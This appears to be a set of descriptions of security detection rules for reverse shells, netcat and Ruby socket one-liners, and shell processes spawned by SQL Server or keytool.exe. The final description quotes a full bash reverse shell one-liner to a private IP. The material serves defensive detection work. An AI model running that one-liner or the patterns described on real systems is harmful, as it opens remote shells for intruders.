Detects suspicious child processes spawned from an interactive bash shell. This rule looks for specific command-line patterns (e.g., base64 encoding, pty.spawn for pseudo-terminal allocation) or specific executables (e.g., whoami, iptables, ncat/netcat) that are uncommon to be direct children of an interactive bash session, indicating potential malicious activity like reverse shells or reconnaissance.

Detects the execution of netcat or ncat with the '-e' or '-c' flag, combined with common shell commands. This pattern is indicative of an attempt to establish a reverse shell, where a shell is spawned and connected back to an attacker-controlled listener.

Detects the execution of 'xterm' with command-line arguments indicative of a reverse shell connection, specifically looking for '-display' and a display value ending in ':1'. This pattern is commonly used by attackers to establish a reverse shell.

This rule detects a suspicious command sequence often associated with the JexBoss exploitation tool. Specifically, it looks for the execution of 'bash -c /bin/bash' followed by a network connection attempt using '&/dev/tcp/'. This combination indicates an attempt to establish a reverse shell or exfiltrate data over TCP.

Detects the execution of Ruby with the '-e' flag, which allows for inline script execution, combined with specific keywords related to socket programming ('rsocket', 'TCPSocket') and common shell names ('ash', 'bash', 'bsh', 'csh', 'ksh', 'pdksh', 'sh', 'tcsh'). This combination is a strong indicator of an attempt to establish a Ruby-based reverse shell.

Detects suspicious child processes spawned by the SQL Server process (sqlservr.exe). This activity is highly indicative of successful exploitation, such as Remote Code Execution (RCE) or SQL Injection, where an attacker leverages the SQL Server to execute arbitrary commands on the underlying operating system. The rule specifically looks for common system utilities and scripting interpreters that are often used by attackers for reconnaissance, persistence, or further compromise.

This rule detects the creation of suspicious shell processes or system utilities spawned by the Java utility 'keytool.exe'. This behavior is often indicative of exploitation, such as the CVE-2021-40539 vulnerability in ManageEngine ADSelfService Plus, where attackers leverage keytool to execute arbitrary commands. The rule specifically looks for 'keytool.exe' as the parent process and a wide range of common Windows and Linux shell/utility executables as the child process.

Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1')
